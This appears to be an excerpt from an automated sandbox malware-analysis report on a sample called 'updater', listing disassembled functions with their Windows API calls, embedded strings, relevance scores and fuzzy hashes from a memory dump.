Instruction Fuzzy Hash: CD619F78900249AFDB10DF64DC88AEEBBB8FF02305F144159F851A7251D731AEA5EB21

Function 00C37548 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00C375CA
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00C375CD
GetWindowLongW.USER32(?,000000F0), ref: 00C375F1
_memset.LIBCMT ref: 00C37602
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00C37614
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00C3768C

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: eb74120a627566d59339a73fa55528406eb817b22d57a7a562885562b470f446
Instruction ID: 2d6e42b507ec2e2b458bdf1cbf0e2694ea0aadd3957c59c16c9d248e09b8d63c
Opcode Fuzzy Hash: eb74120a627566d59339a73fa55528406eb817b22d57a7a562885562b470f446
Instruction Fuzzy Hash: AB618CB5904208AFDB21DFA4CC85FEE77F8EB09710F144299FA15A72A1D770AE41DB60

Function 00C077B6 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00C077DD
SafeArrayAllocData.OLEAUT32(?), ref: 00C07836
VariantInit.OLEAUT32(?), ref: 00C07848
SafeArrayAccessData.OLEAUT32(?,?), ref: 00C07868
VariantCopy.OLEAUT32(?,?), ref: 00C078BB
SafeArrayUnaccessData.OLEAUT32(?), ref: 00C078CF
VariantClear.OLEAUT32(?), ref: 00C078E4
SafeArrayDestroyData.OLEAUT32(?), ref: 00C078F1
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00C078FA
VariantClear.OLEAUT32(?), ref: 00C0790C
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00C07917

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: e606ff4d84727b50503c58440a0a433da9e4f37159d4dd7e7f8e3dea858d3a3f
Instruction ID: f5a81cc5dba3231314ff74d81a6dfbf7abae9eacc57914754bfe9e956464e854
Opcode Fuzzy Hash: e606ff4d84727b50503c58440a0a433da9e4f37159d4dd7e7f8e3dea858d3a3f
Instruction Fuzzy Hash: D9415435E001199FCB04DFA4D848AEDBBB9FF48354F108569EA55A72A1C770EA45CFA0

Function 00C28AA5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB4D37: __itow.LIBCMT ref: 00BB4D62
Part of subcall function 00BB4D37: __swprintf.LIBCMT ref: 00BB4DAC

CoInitialize.OLE32 ref: 00C28AED
CoUninitialize.OLE32 ref: 00C28AF8
CoCreateInstance.OLE32(?,00000000,00000017,00C43BBC,?), ref: 00C28B58
IIDFromString.OLE32(?,?), ref: 00C28BCB
VariantInit.OLEAUT32(?), ref: 00C28C65
VariantClear.OLEAUT32(?), ref: 00C28CC6

Strings

Failed to create object, xrefs: 00C28B63, 00C28C19
Invalid parameter, xrefs: 00C28BE4
NULL Pointer assignment, xrefs: 00C28B9D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: ec2928368e84b02cdb777413f7aaa03d9c5d62f471b9b40ef757078d5cd59a76
Instruction ID: 5e25308a2579b486faf4fe8ccdefad5a673f3cc28c6746c079ea6de8a78b034c
Opcode Fuzzy Hash: ec2928368e84b02cdb777413f7aaa03d9c5d62f471b9b40ef757078d5cd59a76
Instruction Fuzzy Hash: 32619C7060A7219FC710DF14D889F6AB7E8BF89714F10085DF9959B691CB70EE48CBA2

Function 00C25E1D Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00C25E7E
inet_addr.WSOCK32(?), ref: 00C25EC3
gethostbyname.WSOCK32(?), ref: 00C25ECF
IcmpCreateFile.IPHLPAPI ref: 00C25EDD
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00C25F4D
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00C25F63
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00C25FD8
WSACleanup.WSOCK32 ref: 00C25FDE

Strings

Ping, xrefs: 00C25F01

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 6dc389dc8c04b37d92a24b72acfb1031109ff37f9f82ea7cc9dab9e58edb57aa
Instruction ID: 51fa616630629cb20d60c8870b7f861afc2a3750f09dc30f296dfb2265117bba
Opcode Fuzzy Hash: 6dc389dc8c04b37d92a24b72acfb1031109ff37f9f82ea7cc9dab9e58edb57aa
Instruction Fuzzy Hash: 935179316046109FD720EF65DD49B2FB7E4AF48720F144969FAA99B6A1DB70EE00CB42

Function 00C1BB06 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00C1BB13
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00C1BB89
GetLastError.KERNEL32 ref: 00C1BB93
SetErrorMode.KERNEL32(00000000,READY), ref: 00C1BC00

Strings

UNKNOWN, xrefs: 00C1BBB8
READY, xrefs: 00C1BBD9
INVALID, xrefs: 00C1BBD2
READONLY, xrefs: 00C1BBCB
NOTREADY, xrefs: 00C1BBBF

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 298129edbdffd345ed064c71aeba3bf7f19d0d585c34fa882264a7be08037ef6
Instruction ID: d3d206c7486fb76974b9021adbbf0b9f77f6ef3ad7d7c5ad75335fb2e589d8d2
Opcode Fuzzy Hash: 298129edbdffd345ed064c71aeba3bf7f19d0d585c34fa882264a7be08037ef6
Instruction Fuzzy Hash: 4231B035A042099FCB10DF69C885EEDB7B8FB46300F108169E515D7696DB70AE81DB90

Function 00C09B47 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

Part of subcall function 00C0B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00C0B7BD

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00C09BCC
GetDlgCtrlID.USER32 ref: 00C09BD7
GetParent.USER32 ref: 00C09BF3
SendMessageW.USER32(00000000,?,00000111,?), ref: 00C09BF6
GetDlgCtrlID.USER32(?), ref: 00C09BFF
GetParent.USER32(?), ref: 00C09C1B
SendMessageW.USER32(00000000,?,?,00000111), ref: 00C09C1E

Strings

ListBox, xrefs: 00C09B89
ComboBox, xrefs: 00C09B54

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 36cce887a398834af13e9942de7a393338db3a59f6cf99b92bd296f1faa4c6ca
Instruction ID: c1daef07a4067a46f41fb20dcb1090d2f1944171c19e5728a37981d9969ea873
Opcode Fuzzy Hash: 36cce887a398834af13e9942de7a393338db3a59f6cf99b92bd296f1faa4c6ca
Instruction Fuzzy Hash: 2F21F175941104ABDF00EBA4CC85FFEBBB4FF96310F100155FA62A72E2DB748915DA20

Function 00C09C32 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

Part of subcall function 00C0B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00C0B7BD

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00C09CB5
GetDlgCtrlID.USER32 ref: 00C09CC0
GetParent.USER32 ref: 00C09CDC
SendMessageW.USER32(00000000,?,00000111,?), ref: 00C09CDF
GetDlgCtrlID.USER32(?), ref: 00C09CE8
GetParent.USER32(?), ref: 00C09D04
SendMessageW.USER32(00000000,?,?,00000111), ref: 00C09D07

Strings

ListBox, xrefs: 00C09C74
ComboBox, xrefs: 00C09C3F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 2b48a595ea02e42f2d0103b557061054421111c6ec79e0c5a8876b42ed435021
Instruction ID: 4d814a9abb338f8e3c0a14d671f7513d4654b6d13ff002019339ebd71f31b055
Opcode Fuzzy Hash: 2b48a595ea02e42f2d0103b557061054421111c6ec79e0c5a8876b42ed435021
Instruction Fuzzy Hash: 2221C175941204BBDF10EBA4CC85FFEBBB9FF95300F100055BD62A71A2DB758915DA20

Function 00C09D1B Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00C09D27
GetClassNameW.USER32(00000000,?,00000100), ref: 00C09D3C
_wcscmp.LIBCMT ref: 00C09D4E
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00C09DC9

Strings

largeicons, xrefs: 00C09D5D
SHELLDLL_DefView, xrefs: 00C09D48
details, xrefs: 00C09D77
smallicons, xrefs: 00C09D91
list, xrefs: 00C09DAB

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: f80da1133ef198db3ed664a7f71f4abb55bb59a8a6da8e9de0b369f419427e9f
Instruction ID: 4d8a7398e646fec150785509f2bd7728c8b5910ca9ad8db41a82dfa31c8322ca
Opcode Fuzzy Hash: f80da1133ef198db3ed664a7f71f4abb55bb59a8a6da8e9de0b369f419427e9f
Instruction Fuzzy Hash: 41110ABA2C9713B9FA106620EC47FA6B3DCDB05760F200067FA11B40E3FE756A119956

Function 00C28F95 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00C28FC1
CoInitialize.OLE32(00000000), ref: 00C28FEE
CoUninitialize.OLE32 ref: 00C28FF8
GetRunningObjectTable.OLE32(00000000,?), ref: 00C290F8
SetErrorMode.KERNEL32(00000001,00000029), ref: 00C29225
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00C43BDC), ref: 00C29259
CoGetObject.OLE32(?,00000000,00C43BDC,?), ref: 00C2927C
SetErrorMode.KERNEL32(00000000), ref: 00C2928F
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00C2930F
VariantClear.OLEAUT32(?), ref: 00C2931F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 8b8a8f0e89dd01145363e81bf394f10150cfd9fad2e4247e2a22c37d716c9e3b
Instruction ID: 5becdf0cb3dc00f945f2e0647aff2c8e7731fb9d67a4a665ea22e8fcfeca68fb
Opcode Fuzzy Hash: 8b8a8f0e89dd01145363e81bf394f10150cfd9fad2e4247e2a22c37d716c9e3b
Instruction Fuzzy Hash: 99C146B1208315AFC700DF69D884A6BB7E9FF89308F10495DF98A9B251DB71ED05CB92

Function 00C17F4B Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00C18027

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 1c50b15029de99783f7451370e98c9107b2b4f1121079500931b44ab1fee74f1
Instruction ID: 166029cb48059d060b3b2cb1d3c817eb93d0a0d744df1d476a3a8df867cc7c76
Opcode Fuzzy Hash: 1c50b15029de99783f7451370e98c9107b2b4f1121079500931b44ab1fee74f1
Instruction Fuzzy Hash: 1BB1AE75A0821A9FDB01DF94D884BFEB7F5FF0A321F204469E611E7241DB349985EBA0

Function 00C119CD Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00C119EF
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00C10A67,?,00000001), ref: 00C11A03
GetWindowThreadProcessId.USER32(00000000), ref: 00C11A0A
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00C10A67,?,00000001), ref: 00C11A19
GetWindowThreadProcessId.USER32(?,00000000), ref: 00C11A2B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00C10A67,?,00000001), ref: 00C11A44
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00C10A67,?,00000001), ref: 00C11A56
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00C10A67,?,00000001), ref: 00C11A9B
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00C10A67,?,00000001), ref: 00C11AB0
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00C10A67,?,00000001), ref: 00C11ABB

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: bdc8209e281b4b0b25bba041517fd202a4927a4cd3485a86f38a31d0c8169d37
Instruction ID: 69018edf57b04fba6dcfbbe6bf16629c04c6e0e7bd7cf5f3be94de42d259a733
Opcode Fuzzy Hash: bdc8209e281b4b0b25bba041517fd202a4927a4cd3485a86f38a31d0c8169d37
Instruction Fuzzy Hash: 6431CC75681204AFEB10DF90DC48BED3BAAEF56315F294119FF1586190CBB89EC4AB60

Function 00BEC0E3 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00BB260D
SetTextColor.GDI32(?,000000FF), ref: 00BB2617
SetBkMode.GDI32(?,00000001), ref: 00BB262C
GetStockObject.GDI32(00000005), ref: 00BB2634
GetClientRect.USER32(?), ref: 00BEC0FC
SendMessageW.USER32(?,00001328,00000000,?), ref: 00BEC113
GetWindowDC.USER32(?), ref: 00BEC11F
GetPixel.GDI32(00000000,?,?), ref: 00BEC12E
ReleaseDC.USER32(?,00000000), ref: 00BEC140
GetSysColor.USER32(00000005), ref: 00BEC15E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: a8727761d62ea470a2f66d083792257eab794f98040acfad63c96f145e641e1a
Instruction ID: 3ab3fd2e3b2387c2852e511be0701534c0144d97f36e0659854e4ab59e54f604
Opcode Fuzzy Hash: a8727761d62ea470a2f66d083792257eab794f98040acfad63c96f145e641e1a
Instruction Fuzzy Hash: F1115935540245AFDB615FA4EC48BED7BB1FB0A321F204265FE6A950E1CB710951EF11

Function 00BBAD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00BBADE1
OleUninitialize.OLE32(?,00000000), ref: 00BBAE80
UnregisterHotKey.USER32(?), ref: 00BBAFD7
DestroyWindow.USER32(?), ref: 00BF2F64
FreeLibrary.KERNEL32(?), ref: 00BF2FC9
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00BF2FF6

Strings

close all, xrefs: 00BBADDC

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: c4e6307fa93bdf80b1b1f94cf4e3665c1e7cc8996b4a49429ed85a6d00b25229
Instruction ID: 053d1dc417666145161205d64270fd70ffb411150e93add84f32048a2798a0ca
Opcode Fuzzy Hash: c4e6307fa93bdf80b1b1f94cf4e3665c1e7cc8996b4a49429ed85a6d00b25229
Instruction Fuzzy Hash: 99A138706012128FCB29EB24C495BB9F7E4FF04700F5542EEE90AAB252DB71AD56CF91

Function 00C0AD69 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00C0B13A), ref: 00C0B078

Strings

CLASSNN, xrefs: 00C0AE1A
TEXT, xrefs: 00C0AFAF
CLASS, xrefs: 00C0ADF7
NAME, xrefs: 00C0AEAA
INSTANCE, xrefs: 00C0AF86
REGEXPCLASS, xrefs: 00C0AE3D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: cdde3e7fe87c0498e07d8f8b8baeeca70999158d57da5249d1415b3336596b63
Instruction ID: 09a7191d3e9af084bd7aa402aeb1271f7b37b817a2bd22401d4b0c1495e5bcd3
Opcode Fuzzy Hash: cdde3e7fe87c0498e07d8f8b8baeeca70999158d57da5249d1415b3336596b63
Instruction Fuzzy Hash: 9991BCB0500606DACB18EFA0C481BEEFBB5FF14304F54815AE86AA72D1DF306E59DB91

Function 00BB31F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00BB327E

Part of subcall function 00BB218F: GetClientRect.USER32(?,?), ref: 00BB21B8
Part of subcall function 00BB218F: GetWindowRect.USER32(?,?), ref: 00BB21F9
Part of subcall function 00BB218F: ScreenToClient.USER32(?,?), ref: 00BB2221

GetDC.USER32 ref: 00BED073
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00BED086
SelectObject.GDI32(00000000,00000000), ref: 00BED094
SelectObject.GDI32(00000000,00000000), ref: 00BED0A9
ReleaseDC.USER32(?,00000000), ref: 00BED0B1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00BED13C

Strings

U, xrefs: 00BED011

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: d5e3ae08e77a4d0ec3f3d1d15b718712308a3b76611e5dbe12d4e12ed3fb2b5d
Instruction ID: 2a333e14078c4e80e9446d2f3cdb430f57356060f2c8ca4e1f9ec255d25851c4
Opcode Fuzzy Hash: d5e3ae08e77a4d0ec3f3d1d15b718712308a3b76611e5dbe12d4e12ed3fb2b5d
Instruction Fuzzy Hash: 4B71D030400249EFCF218F64C894AFE7BF5FF49360F2842A9ED556A1A6C7B18891DB61

